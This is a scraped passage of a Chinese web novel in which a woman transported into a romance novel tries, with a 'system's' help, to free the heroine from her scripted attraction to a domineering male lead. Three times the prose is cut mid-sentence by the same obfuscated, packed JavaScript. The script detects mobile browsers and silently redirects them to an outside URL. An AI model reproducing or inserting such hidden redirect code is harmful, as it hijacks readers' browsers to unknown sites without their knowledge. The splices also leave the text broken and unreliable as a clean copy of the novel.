;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611994|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短暂对视,眼神里有些东西静静流动。 夏星澜眼睫闪动,她低头吸了吸鼻子,转言道: “光顾着聊天了,我用椰浆做汤底可以吗?” “当然!”姜婋立刻点头。 夏星澜抬手去够柜子里的椰浆,可橱柜太高了。 姜婋走过去想帮忙,发现对于她来说,这个高度也很难。最后,夏星澜站在凳子上才拿到。 姜婋看不过眼:“你们厨房的橱柜怎么这么高?” “我也问过这个问题,但厨师们都说他们很轻易就会拿到,可能是我个子矮吧?” 姜婋瘪瘪嘴,并不认同。 这边,夏星澜拿起铁锅制作汤底。 姜婋发现夏星澜使用锅具时也很吃力,因为这个锅对于她来说太重了。不仅如此,就连切菜时的操作台对于她来说都有些高。 于是,姜婋在厨房里观察起来,切菜机、搅拌机、烤箱……这些大型工具对于她的体型来说也使用起来很吃力。 她突然想到什么:“对了,上次25周年庆典你帮忙做蛋糕,是不是因为烘焙师受伤了?我猜她是女性吧?” “你怎么知道?” 姜婋抬手比划:“这么大的操作台和烤箱,臂展没一米八根本拿不出来!这烤箱是为男性厨师设计的,不仅这个烤箱,整个厨房都是为男性厨师设计的吧?” 夏星澜脑中好像亮起一个小灯泡:“这么一说,好像真的……我从没看见主厨抱怨过橱柜太高,工具太重。” 姜婋揶揄:“就是你们那位将近两米高的外籍主厨?” “对啊,每次厨房最忙的时候,他就会说……” 夏星澜夸张地模仿起来,“This is a man’s battlefield,这是男人的战场,伙计们,动起来!” 姜婋没好气道:“这倒确实是男人的战场,连空间布局和每一件设备的大小都是为男人设计的。真是讽刺啊,几乎每一个家庭厨房里做饭的都是女性,但真正赚钱的餐厅厨房里却被说是男性的战场。女人在社会B面的家庭厨房里提供无偿劳动,但在计入报酬的社会A面餐厅厨房里倒被男人占据了。随便打开一档厨师争霸赛,里面几乎全是男人,女厨师寥寥无几。” 夏星澜也开始思考:“因为作为一个专业的厨师,要去学习,要进修,去世界各地品尝美食……” 姜婋道:“没错,所以这就需要花费金钱和时间,而这两样东西恰恰是大部分女性不具备的……” 夏星澜恍然大悟,“好神奇,我之前怎么没从这个角度想过呢。经你这么一说,好像以前很多不合理的事情,都有了解释。” 姜婋笑了笑:“这是女人的天眼,一旦用女性的视角看这个世界,你就会发现到处都是bug!” 她凑到夏星澜的耳边,有些不好意思道:“我上次把你叫到房间,说了那么多道理,就是希望你能打开这双‘女性的天眼’,因为这双眼睛一旦打开,你就会看见一个完全不一样的世界……” 说话间,温柔的气息扫过夏星澜的耳廓,又热又痒。 她正想问这双眼睛叫什么的时候,锅里的汤咕咕作响。 夏星澜尝了口汤,然后放入海鲜。 开过背的虎虾浸入滚汤时瞬间蜷缩,青口贝被热浪撬开盔甲,牡蛎壳的缝隙噗噗冒气泡。她沿着锅边放入一把碱水面,面条滑入锅底如同银鱼归海。 夏星澜的动作一气呵成,姜婋在她的脸上看见一种愉悦和享受的表情。 就好像……自己每次在实验中解决完一个bug时,那种油然而生的成就感。 只要夏星澜远离凌昊天三米开外,在不受「女主必为男主心动法则」的限制时,她整个人简直闪闪发亮! 这时,计时器响起,海鲜面出锅。 打开锅盖的瞬间,海鲜的香味直冲天灵盖。 姜婋吹着气尝了一口,包裹着热汤的面条被咬断的瞬间荡开一圈圈鲜味。 “好好吃,你也太厉害了吧!” 夏星澜羞赧一笑:“不是我厉害,是我妈妈厉害,这是她教我的做法。看你吃的这么香,我很有成就感……”她眼眸微动,“觉得我妈妈的配方没有失传,就好像她还在一样……” 姜婋抹了抹嘴:“那你干脆开一家店,把她的味道传下去。” 夏星澜摇头:“我还差得远呢。” “那……你可以加入后厨吗?你这碗面,简直秒杀你们中餐厅的任何一道菜!” “我想都不敢想,来我们酒店的厨师都要经过专业培训,几乎每一位都有海外留学经历和实习经验。”夏星澜垂下头,“我这手艺实在是上不了台面……” “怎么会!夏星澜,你千万不要看轻自己!” 姜婋认真道:“凌昊天这个人虽然一无是处,但是他身上有一点,非常值得你学习,那就是——自恋。我们女人就是缺少了这份自恋,想做的事情还没开始就先气馁了,你现在最缺的就是这份自恋。” 夏星澜喃喃道:“自恋……” 姜婋重重点头:“没错!前厅经理这个工作,让你总是把客人放在第一位,导致你在生活里也习惯性把他人需求放在自己前头。你会随身携带卫生巾、止痛药、巧克力,但却总是忽略你自己的需要和感受。你要自恋起来,用‘我最重要’的眼光看世界,凡事以自己为本位。我问你,如果只考虑你自己,你最想做什么?” 她说罢,目光炯炯地看着夏星澜。 夏星澜竟然一时有些心虚,因为她好像从来没有用‘我最重要’的眼光看世界,更没想过这个问题。 “我……” 这时,夏星澜的手机响了。 她接起电话,脸色霎变:“我马上过去!” “怎么了?” 夏星澜着急道:“凌总和今天骚扰我的男客人打起来了,我得过去看看!” “喂,夏星澜你……” 转瞬间,眼前只有夏星澜跑远的背影。 姜婋端着面愣在原地:“要先考虑你自己啊,不要把凌昊天放在第一位……怎么男主一出现,夏星澜就好像变了一个人?” 她马上询问系统:“凌昊天又出什么幺蛾子了?” 系统:“凌昊天在下午开完会后借酒消愁,结果在酒吧听说有人性骚扰夏经理,所以他就冲到1506把那人打了一顿。” 姜婋奇怪:“可我不是已经出手帮了夏星澜,还教训那个猥琐男了吗?这一段剧情,明明被我改掉了,为什么还是照原来的走?” 系统:“因为这是一个言情小说世界。你虽然改变了你和夏星澜之间的关系线,但还没改变整个故事围绕男女主感情展开的结构,所以主线依然会回到原有的浪漫爱叙事轨道。属于男主的英雄救美高光戏,一个都不能少。” 姜婋低头看着热气腾腾的海鲜面,眼睛喷出火星子:“这该死的浪漫爱,简直是杀不死的小强!还英雄救美,英雄他个大头鬼!” 9. 09 开完会的凌昊天觉得无比受挫,因为自己居然不如那个他曾经最看不起的白潇潇,自己作为一个男人竟然都不如一个女人! 当母亲告诉他父亲的私生子,可能会对他的继承人位置造成影响时,无疑是在他脆弱的自尊上又插上了一刀。凌昊天虽然一出生就获得了别人努力一辈子可能都得不到的财富,但是他很小就明白了一个道理——钱买不来爱。 比如,父爱。 在明白父亲不爱自己的那一天,他躲在黑暗狭窄的的酒柜里患上了幽闭恐惧症。他心跳加速,呼吸不畅,在柜子里晕倒,直到晚上才醒过来。 回到房间后,母亲大发雷霆,质问他去了哪里,全酒店的人都在找他! 他不敢说,因为一旦说了就会彻底失去父亲。 凌昊天只是沉默,他觉得他自己一生恐怕都无法走出那方逼仄的酒柜。 母父离婚的那一天,父亲毫无留恋地选择了与另外一个女人远赴海外。 凌昊天彻底明白,父爱并不是一个男人与生俱来的。 经历婚姻破裂的褚明珠非常坚强,她习惯了坚强。在那个年代,一个女人想要在领导层站稳脚跟,就要对自己狠。她同样用这股狠劲来要求凌昊天,在母亲控制下长大的凌昊天意识到,母亲对自己的爱是有条件的。 母亲爱的是一个完美优秀的他,他努力做到最好,不想让母亲失望。仿佛母子俩都在向那个死去的父亲证明,他的选择是错误的,母子二人没有他依旧过得很好。 可凌昊天一点都不快乐,他对这个母父留下的罗曼蒂克庄园酒店更是又爱又恨,他就是在这里撞见了父亲的出轨,所以封锁了那间舞会厅,不让任何人使用,也不让任何人进入。 因为那里面依然关着七岁的自己,他走不出来,他也进不去。 得不到爱的这份恐惧一直萦绕着他,直到遇到了夏星澜。 她像暖阳一样散发着热量,对所有人关怀备至。为了找寻凌昊天丢失的手机,她明明不会游泳,却在落水后依旧紧紧护住那部手机;凌昊天生病后,夏星澜不怕被传染,送来自己亲手做的热粥…… 他意识到夏星澜对自己的爱是没有条件的,他希望这份爱能够一直萦绕,夏星澜能永远陪在他身边。 身为言情小说的男主角,一旦是凌昊天认定的人,他就会不惜一切代价强势占有,任何人都不可以染指! 就在他借酒消愁的时候,得知今天有客人性骚扰夏星澜,这简直触碰到了他的逆鳞。 凌昊天怒摔酒杯,自己守护不了这家酒店,守护不了继承人的身份,难道还守护不了自己的女人吗? 失去理智的凌昊天冲进1506,将积压的痛苦都化作拳头发泄在那个猥琐男的身上。 工作人员冲上来都拉不开,直到他听到那个熟悉的声音—— “凌总,快住手!” 他这才如梦初醒,用带血的拳头抱住了夏星澜。 昏暗的总裁办公室里,夏星澜找出急救包帮凌昊天包扎。 可随着二人越来越近,「女主必为男主心动法则」瞬间触发。 原本有些生气的夏星澜,在看见凌昊天指节上的血迹时,倏地一阵心疼。 凌昊天靠在沙发背上,明明狼狈又邋遢,但在夏星澜的“女主滤镜”看来,男主此刻就像只发狠斗勇后,需要呵护的小狼狗…… (姜婋画外音:呕吐表情包) 两个人谁都没有先说话,只有消毒棉签擦过伤口的嘶嘶声。 “啧。”凌昊天倒吸一口凉气。 夏星澜条件反射地低头道歉:“我再轻一点。” 说话的瞬间,她抬头与他四目相对。 凌昊天眸色一沉,竟然用受伤的手狠狠砸向玻璃柜子! “是我没用!我保护不了这家酒店,我也保护不了你——” 这一幕把夏星澜吓坏了,她愣住片刻,迅速抓住他的手腕,“凌总,你冷静点!” 她用手紧紧地包裹住凌昊天的拳头,试图用温柔去化解他自残的痛苦。 直到凌昊天看见夏星澜布满紫红色伤痕的手,才终于清醒过来,将夏星澜拥入怀中,自责又无助。 “对不起,是我没有保护好你,让你受委屈了……我发誓,以后一定会永远守着你,绝不让你再受到伤害……” 夏星澜眨了眨眼。 其实,她本来想说,婋婋当时帮了她,而且她自己也想好了反击的方法。 但见凌昊天醉得有些神志不清,估计说了,他也记不住。 于是,夏星澜轻轻拍着他的背,像是安抚一个喝醉的巨婴。 这一幕定格在360度的环形屏上。 姜婋捂着脸作痛哭流涕状:“天呐好感人啊!” 下一秒,她嘴角抽搐,冷笑道:“想当年我看到这一段的时候,还觉得凌昊天好可怜、好深情、好霸道……如今看来,他动不动就砸玻璃打人,情绪崩了就强行抱人,真是性骚扰惯犯+表演系人格!这命运到底怎么薄待他了,他就发疯到要死要活,打人自虐。” “那么多女婴刚出生就被丢弃、被杀死;贫困山区的女童连书都读不起,想去学校要走四个小时山路;还有那些被家暴,终身残疾的女性……我当时居然同情一个男主角,真是太傻了。每次心疼男人的时候,不如打开公益链接,给女童们捐上一份卫生巾。不过现在卫生巾哪个牌子安全啊?” 系统:“玩家,有必要提醒你,夏星澜对凌昊天的好感度已经上升。” “什么?” 姜婋当场原地爆炸:“不好,我差点忘了那个「女主必为男主心动法则」,夏星澜肯定是被这故作深情的男主角给蒙蔽了,我要让她清醒过来!” 夜晚,夏星澜走过离开酒店的必经之路,突然一阵急促的脚步声传来,原来是姜婋朝她跑来。 夏星澜忙道:“对不起啊,我刚刚把你一个人留在厨房。” 姜婋微微喘气:“我知道你有事情要处理……” 下一秒,她就看见夏星澜受伤的手,忙拽住问道:“你手怎么了?” 夏星澜抽出手:“没什么。” “你总是这样,”姜婋带着心疼和责怪,“给别人贴创可贴、备止痛药,轮到你自己受伤了,就当没事人一样。” 夏星澜垂下眼眸:“……是我不好。” 姜婋用手扶在她的肩头:“你有什么错?夏星澜,整件事情你没有错!1506的猥琐男骚扰你,那是他的错,凌昊天发狠打人,那是他天生好斗,情绪失控。结果这摊烂事,最后还要你来收拾……” “可是……” 夏星澜的声音里有说不清的内疚,“昊天这么做,是为了保护我啊……” “保护?” 姜婋无语极了:“一群男人制造暴力,另一群男人做出一副我要保护你的样子,然后女人就会感激涕零,觉得这些男人特别珍贵。可你有没有想过,‘被保护’这个需求,就是由暴力制造者创造出来的?” “保护本身就是个伪命题好吗?再说了,今天我冲进去把你带出来,那是保护,因为我在乎你的感受。可凌昊天事后才动手,那不是保护,那是报复!” 夏星澜脑中闪过凌昊天拳头上的血迹,身为女主角,她的心必然被男主角所牵动,不由得声音颤抖起来。 “可是我的心很痛,尤其是看见他受伤自责的模样,就觉得对不起他……” “你为什么对不起他?” 姜婋反问道:“如果凌昊天他真的在意你,就应该第一时间来找到你,听你怎么想,问你需要什么?就算他想以暴制暴,那也要征得你的同意吧?毕竟你才是整个事件的当事人。” 她越说越气,不顾夏星澜的心里承受能力,直接戳穿真相—— “夏星澜,他这样自作主张地去打人,并不是因为有多么爱你,而是因为他觉得自己的‘所有物’受到了侵犯! “在父权制的逻辑里,那个猥琐男不仅骚扰了你,更侵犯了一个男人对‘他女人’的性支配权。凌昊天挥拳回击,不是为了你,而是为了捍卫他作为‘男性’的权威。 “而言情世界却把这种行为浪漫化成‘英雄救美’。可你有没有想过,如果‘美’陷入的困境,正是所谓的‘英雄’制造的呢?那‘救’这个行为本身,不就非常荒唐了吗?” 夏星澜一时哑然。 她不愿被当成谁的附属,但在「女主必为男主心动法则」的面前,又无法否认对凌昊天的情感。 混乱纠结中,她只能将矛头对准戳破这一切的人—— “白潇潇……我不想听你这么说。昊天这次的确冲动,但他是因为在意我!” 姜婋音量陡然拔高:“夏星澜,心疼男人,就是女人不幸的开始!我是在帮你撕碎糖衣,看清里面的本质!难道你非要等到掉进浪漫爱编织的陷阱,爬不出来的时候,才肯清醒吗?” 刹那间,姜婋的声音仿佛变得失真扭曲,像激流般灌进夏星澜的耳朵,在她脑海里与「女主必为男主心动法则」展开激烈搏斗。 一边是浪漫爱世界原始设定的低语,一边是女性觉醒前刺耳的警钟,夏星澜几近崩溃。 对于一个习惯了被压迫的人来说,自由反而是恐惧的。 最终,夏星澜退回到恶龙的洞穴,拥抱了浪漫爱对她的压迫。 她忍不住怒吼:“我有让你帮我吗?!你凭什么总是一副众人皆醉你独醒的样子?你不是我,我也不是你。你觉得是砒霜,我却觉得是蜜糖。就算前方是陷阱,我愿意跳,就算摔得遍体鳞伤,那也是我自己的选择!” 姜婋哽住了。 夏星澜脑子一片混乱,她不想再面对姜婋,旋即转身快步走远。 直到路灯的光罩不住她,背影渐渐被夜色吞噬。 半晌后,姜婋望着夜空反问。 “这个世界,什么时候能像言情里,女主角爱男主角一样爱我?” 系统:“玩家请谨记,言情世界就是以男女主角之间的爱情发展而存在的。” 姜婋无力地躺在地上,面色安详:“我根本杀不死浪漫爱,还是让我死了吧!” 系统:“玩家请审题,你的任务是杀死浪漫爱,解构男主角,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611995|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女主角生发出自己的人生之路。闯关成功的关键,是最后一句,提示到此为止。” 姜婋委屈道:“你也听见了,夏星澜的人生之路就是跳陷阱,吞砒霜,她愿意!她刚刚叫我什么——白潇潇!为了凌昊天那个臭男主,她居然都不叫我婋婋了……” “玩家……” 系统仿佛顿了顿:“你会不会强加给夏星澜太多你的个人意志了?你别忘了,她只是一个2009年言情小说里面的女主角。” “可是,我没有把夏星澜仅仅当做是一个小说里的女主角。” 刹那间,周围的一切化作姜婋的心流世界。 黑暗中,姜婋低着头,看不清表情。 “我一直都把她当做我的朋友、姐妹、同学,当做是……我自己,所以我没有办法冷眼旁观……” 姜婋蹲下身,双臂环住膝盖,以自我保护的姿态,喃喃道: “系统……你让我帮助女主角生发出自己的人生之路。可有时候我也在想,我走到底是不是我的人生之路?” “系统,你知道我为什么会读博士吗?” 360度环形屏幕上翻涌着音频波动,系统虽然并未说话,但一直陪着她。 姜婋蓦地想起很久之前的往事,讲述起来。 “有一次,我正在上化学课的时候用MP4偷看小说,班主任化学老师盯着我说,‘女生就是学不好化学’。然后我就把MP4收起来,认真地听了一学期的化学课,考了我们班的化学第一名。 “我以为我已经证明过女生可以学好化学,可是班主任又说,‘女生就是早熟,等男生反应过来的时候,光靠理科就追上你们了’。我又继续努力学习理科,直到我以全校理科第一的成绩考上了大学。” 她自嘲一笑:“可我并不喜欢理科,大学时过的浑浑噩噩。还好我室友拉着我学习。快毕业的时候,她想考研,我闲来无事陪她复习,结果有一天她跟我说,她不考了,我问她为什么。她说她男朋友说,如果她考研就异地了,那这样的话还不如现在就分手。我室友为了这段感情放弃了考研,而我这个陪她复习的人却考上了。读研之后我也一直在怀疑,这条路选的对不对…… “直到有一天,一位博士师姐突然怀孕,我导师非常生气,他说以后再也不收女学生了!我想怎么可以这样呢?师姐怀孕那个男的也有责任啊,为什么把所有的责任都推给了师姐,还要让我们这些不相干的女学生们承担后果呢? “所以我就报名了那一年的博士招生,为了守住这个名额,我在计算机实验室被虐了好几年。我也经常问我自己:姜婋,这是不是你的人生之路?可我还来不及确认,就英年早逝了……呜呜呜……” 姜婋的眼泪说来就来,捂脸哭了起来。 系统:“玩家——” 姜婋带着哭腔:“你不许嘲笑我。” 系统:“……我是想告诉你,你做得已经很好了。” 360度环形屏幕上音频波动,好似温柔的海浪将迷失的姜婋稳稳托起,就像回到母亲子宫般安全温暖。 姜婋抹干眼角的泪痕:“真的吗?” “真的。” “好奇怪,你这句话虽然轻轻的,我的心却好像被重重击了一下。” 系统:“或许夏星澜也需要别人告诉她——‘你做的已经很好了’。” 姜婋瞬间感同身受:“是啊,身为言情小说的女主角,天崩开局的夏星澜,能成长为现在的样子已经很不容易了。” 系统:“玩家,你把夏星澜当做是你的女同学,你的室友,你的师姐……和你自己,所以你不希望她重蹈旧辙,放弃自己的人生之路,对吗?” 姜婋点了点头。 系统:“如果再给你一次机会,你会选择怎样的人生之路?” “如果再给我一次机会……” 姜婋目光炯炯,站起身来。 “我会在化学老师说出那句话时,直接告诉她——‘老师你说的不对,女生当然可以学好化学’; “在我室友跟我说她放弃考研的时候,我应该鼓励她——‘你要把自己的人生放在第一位,而不是一份不确定的关系’; “在我师姐怀孕的时候,我应该反驳我的导师——‘你不能这样歧视女学生’!” 说话间,她恍然大悟。 “……是我太傻了,我不应该把过去无力挽回的遗憾和内疚,都发泄在夏星澜的身上,我不应该去责备她,而应该去问责整个言情世界的法则!” 系统:“玩家,那你知道接下来该怎么做了吗?” 姜婋抬起头,眼神坚定:“我要站在夏星澜的身后,成为那个哪怕全世界都反对她,我也要无条件支持她的人,然后拍着她的肩膀说——‘夏星澜,你已经做的很好了’……” 刹那间,心流世界消失了,周围又亮了起来。 姜婋又回到了那个街角,路灯照在她的周身。 恍惚间,她嘴角一牵,似自嘲般笑道。 “系统,我突然想起来,化学课上我看的那本小说就是——《灰姑娘的逆袭》。” 10. 10 夏星澜今天受到太多的冲击,内心无比混乱。 自从白潇潇出现以后,她的生活变得更加复杂了,白潇潇的每一句话,都好像一个个奇怪的灯泡,照亮了她脑中一片片未知的区域。 以至于这段时间,她挣扎在浪漫爱法则和自我人格觉醒的旋涡中,但却一次次屈从于法则,臣服于恶龙。这种矛盾令她对自我产生怀疑,更令她痛苦。 她纠结中,一抬头,看到日历上标注的日期。 母亲的忌日和夏星澜的生日只相隔一天。 高一那年,母亲要给夏星澜做她最喜欢的巧克力蛋糕,特意提前一天去买食材,结果途中遭遇了车祸。夏星澜的生日也是在母亲的忌日中度过的,从那以后,夏星澜就再也不会主动过生日,也不再吃巧克力蛋糕了。 葬礼上,父亲崩溃大哭,不是因为他多爱母亲,而是因为以后再也没有人被他吸血了。父亲下岗后嗜酒赌博,好像变成了另外一个人,整个家都是由母亲支撑起来的。 夏星澜曾问过母亲,她是不是后悔和父亲结婚,甚至还放弃了当时一个非常好的工作机会? 母亲没有回答,只是跟夏星澜说——“你会遇到一个真正爱你的人。” 可那个曾经母亲所谓的爱她的人,却在她去世后卖掉了房子和她所有值钱的遗物,甚至后来父亲还输掉了母亲的赔偿金。 大学起,夏星澜就开始打工赚钱,大三的暑假,她来到罗曼蒂克庄园酒店实习,因为表现突出,所以留了下来。 她从不旷班,很少请假,她非常珍惜这份工作,这是她下坠生活中的救命稻草。夏星澜太需要钱了,而且她还有一个正在上学的弟弟,就在她的生活刚有起色的时候,失联多年的父亲突然出现,因为他找到了下一个血包。 夏星澜虽然卖命工作,但是并没有攒下多少积蓄。每当她也幻想像同龄女孩去谈一场甜蜜恋爱的时候,现实总有办法把她拉回残酷的深渊。 而母亲留给她的那句话——“你会遇到一个真正爱你的人”,更是宛如思想钢印,刻在夏星澜的意识里。 作为言情小说的女主角,在「女主必为男主心动法则」的影响下,她也会不断发问:魔镜啊魔镜,谁是世界上最爱我的人?那个真正爱我的人是我心中的他吗? 次日,几乎一夜无眠的夏星澜起了个大早,去墓园看望母亲。 她将一束沁着水珠的戴安娜玫瑰放到墓碑前:“妈,我来看你了,带了你最喜欢的花。” “您说过,我会遇见一个真正爱我的人……现在有一个人突然出现在我生命中,他每天都会送我一束戴安娜玫瑰,但我不确定他是不是那个人……” 夏星澜闭上眼睛:“您在天有灵,请您指引我找到那个人,好吗?” 墓碑前,花瓣轻颤,水珠滴落。 罗曼蒂克庄园酒店前厅,夏星澜保持着训练有素的微笑,一遍遍替客户处理问题。 就在这时,旋转门里走进了一个她并不想看见的身影! 她的笑容倏地僵住,血液仿佛从四肢被抽空。那是一种条件反射式的恐惧,不由自主地,她向后退了一步。 那男人穿的邋里邋遢,满身酒气,扫视了一圈之后,径直朝她冲来。 “死丫头!” 那人声音嘶哑刺耳:“老子让你打钱,你当没看见是不是?” 这一嗓子引起了大厅所有人的注意。 虽然夏星澜能熟练处理客人的各种问题,但在处理自己问题时,却当场大脑宕机。 她声音颤抖地小声道:“爸,你先回去吧,我正在上班。” “钱呢?”男人质问。 夏星澜拉住他低声解释:“这个月弟弟马上毕业了,要租房子,我把钱打给他了。” “别给我找借口,你在这么好的地方上班能没有钱?” 男人说着猛地将她推开:“我看你就是不孝!” 夏星澜踉跄着后退,一头撞进一个坚实的胸膛。 她身体一僵,头顶传来熟悉低沉的嗓音:“出什么事了?” 是凌昊天。 刹那间,羞耻、恐惧、不安席卷夏星澜全身。 她垂下眼睫,几乎低到尘埃里:“凌总……对不起,是我家里的私事。” “你是她老板吧?” 男人瞥了眼凌昊天,语气立刻切换成谄媚模式:“我找我闺女要点钱,没别的意思。” 凌昊天冷笑:“你要多少?” 男人抬手比了个数,满脸堆笑:“就这么点,不多的。” “秘书会带你去拿。” 凌昊天挥了挥手,像驱赶一只苍蝇:“跟他走。” “哎,老板果然是大人物!”男人立马笑开花,对夏星澜道:“好好干,别给老板丢脸!” 男人走后,前厅重新安静。 夏星澜站在原地,握紧拳头,只觉得非常羞耻,羞耻于自己有这样不堪的父亲,羞耻于自己在此刻被当作了一个物件,好像用一笔钱就能买到。 凌昊天看出她的局促,拉住她的手,把她带到了前厅外的小花园。 夏星澜缓过神来道:“凌总,这笔钱从我工资里扣吧。” 凌昊天挑眉:“我们之间,一定要把账算这么清楚吗?” “这样,我内心会好受一点……” “好吧,如果你非要如此。”凌昊天语气里带着些许无奈,却并不强迫。 夏星澜注意到,他仍旧没有松开自己的手,她一边抽出,一边岔开话题:“您的伤……好点了吗?” 凌昊天嗯了一声道:“1506的那个人,以后再也不会出现在我们酒店了。” 夏星澜没有追问,她也不敢问。 他是怎么处理的?动用了什么关系?暴力?还是更见不得光的方式? 但她突然有一丝庆幸,骚扰自己的人消失了,就连父亲也被“摆平”了。 倏地,「女主必为男主心动法」则悄然启动,在夏星澜的眼中,凌昊天的手腕和特权并不令人恐惧,反而化作金色的光晕笼罩在周身,散发着无穷魅力。 如果自己遇见任何问题,眼前的男人都能帮忙解决,那自己是不是可以轻松一点呢? 浪漫爱法则如“天使”般温柔地诱哄着她:“他是特别的,他会守护你。你什么都不必做,只要承受他的爱……” 可下一秒,就有一个刺耳的声音闯进脑海—— “你退了一次,尝试到被权力庇护的滋味,就会有第二次,直到你被权力所麻痹……这个社会上从来没有人教过我们女人,命运馈赠的礼物早已暗中标好了价格,一切皆有代价。” 姜婋的警告宛如“恶魔”怒吼,两种声音再次在她脑海中撕扯纠缠,令夏星澜混乱极了。 “明天是你的生日吧?” 凌昊天的问询打断了夏星澜的思绪: “要不要和我一起过?” 夏星澜犹豫了一下,原来这就是那个所谓的“代价”吗? 从不过生日的夏星澜思考后,还是顺着凌昊天的期待,点了点头。 凌昊天露出满意的笑意:“你看,为了你的生日,我特意让人在花园里种满你喜欢的戴安娜玫瑰。” 夏星澜一直都很想解释,这并不是她喜欢的花,而是她母亲喜欢的。但看着凌昊天精心准备的表情,又不忍打破这个无伤大雅的误会。 她抬头看去,不远处的花匠正弯着腰在烈日下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611996|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干活。 汗珠顺着花匠的脸流淌,浇灭了夏星澜的喜悦,如果她的“幸福”,是建立在别人辛苦与服从之上,那还算幸福吗? “明天我会包下酒店的旋转餐厅,为你庆祝生日。”凌昊天继续说。 夏星澜下意识问:“那旋转餐厅的其他客人怎么办?” 凌昊天唇角一勾:“明天,你就是罗曼蒂克庄园里最尊贵的客人。” 这句话倏地击中了夏星澜的心,一股从未有过的悸动在胸口荡漾开来,面前的这个人,就是母亲所说的那个真正爱自己的人吗? 夏星澜原本心情正好,脚步轻盈地走向洗手间,唇边还挂着笑意。 可就在即将推门进去的瞬间,洗手间内传来几道压低声音的议论: “前厅那个老头是谁啊?邋里邋遢的,跟个乞丐似的。” “听说是夏经理她爸,来管她要钱来了。” “真的假的?夏经理竟然有这种父亲……” “最后还是凌总出手,把那老头像赶要饭的一样打发了。” “你说她跟凌总,到底什么关系啊……夏经理不会真是被包养了吧?” 那些话好像箭矢一字一句刺穿她的心,夏星澜站在原地,任凭这些话撞击她的耳膜。 突然,夏星澜觉得自己听不见了,原来是有一双手捂住了她的耳朵,隔绝了一切。 夏星澜怔住,回过头,一眼便撞进姜婋沉静的眼眸里。 姜婋没说话,只是拉着她,一路走进了楼梯间。 两人并肩站着,谁也没有开口。 昨日那场不欢而散的争吵仍横亘在她们之间,像一堵看不见的墙。 最后,还是姜婋轻咳两声道:“你傻呀?那些人的话那么难听,你还在那杵着,不爱听就走嘛!” 夏星澜自嘲:“那算什么,更难听的话我都听过,这种程度,我可以自己消化。” 姜婋奚落:“就像吞砒霜一样吞掉那些话?” 顷刻间,昨夜二人争吵的画面又浮现在眼前。 夏星澜没回应,这时,对讲机响了。 “夏经理,有客人投诉丢失了钻石耳钉,你快来处理一下。” 夏星澜像是找到了逃离的出口,“我得走了。” 话音未落,她已转身离开。 楼梯间回荡着“咔哒”一声关门的闷响,像是将两人之间的距离又拉远了一分。 姜婋站在原地,耳边响起系统的提示音:“玩家,我不得不提醒你——” 她立刻认怂:“我知道我嘴快了,原本是想来跟她道歉的,谁知还没说两句就又伤她了……对了,刚刚对讲机说有客人丢失了钻石耳钉,我怎么不记得有这个情节?” 系统:“原剧情里,是有客人投诉洗衣房洗坏了几十万的皮草,夏星澜因此被客人刁难,最后凌昊天出手解决。” 姜婋点头:“我记得这个情节。” 系统:“此次危机和玻璃爆炸事件一样,是为了推动男女主的感情发展,给夏星澜设计的一连串困难。但因为你没有下线,所以那位原本要住你房间的‘皮草事件客人’未能登场,因此夏星澜的故事线自然就发生了改变。” 姜婋翻了个白眼:“所以每次剧情推进,都是靠折腾女主呗?怎么不让男主体验一下被情节毒打的滋味?他不是挺闲的吗?” 系统:“因为浪漫爱故事,为了要塑造男主强大完美的形象,就是要让渡女主的高光,有时甚至不惜要伤害女主的人设。” 姜婋愤然道:“所以只要夏星澜在男主身边,每天都‘必有一劫’是吧?那些专为衬托男主英勇,而硬塞的虐女情节,纯属是给女观众喂屎!求求了,吃点好的吧!” 11. 11 豪华套房里,正在“历劫”的夏星澜正被客人一顿训斥。 “我就把耳钉放在房间里,现在找不到了,你们酒店必须给我一个解释!该不会是被你们工作人员给偷了吧?” 夏星澜忙道:“客人,我们的清洁人员是受过专业培训的,绝对不会拿您的东西。” “我现在急着去工作,如果我回来的时候你还没有找到的话,我就起诉你们酒店!”那客人说完带上笔记本电脑,气冲冲走了。 旁边的保洁阿姨搓着手:“夏经理,我真的没有偷东西。” “我知道,您去忙吧,我来找。” 夏星澜翻遍房间里的每一个垃圾桶,又在犄角旮旯找了个遍,还是一无所获。 既然不在房间里…… 她突然想到什么,立刻往洗衣房跑去。 洗衣房的热浪扑面而来,夏星澜找到今日换下的床单和被罩。 根据过往的经验,客人丢失的东西,说不定就落在了这里。 床上用品堆积如山,她只能一件件翻找。但被罩太大,她一个人只能勉强拉直两角,却怎么也抻不平。 就在她抖动翻找时,忽然,另一边被猛地拉紧。 她抬头一看,只见层层床单缝隙中,露出姜婋的脸。 “你那边抓紧。”姜婋开口,语气简单直接。 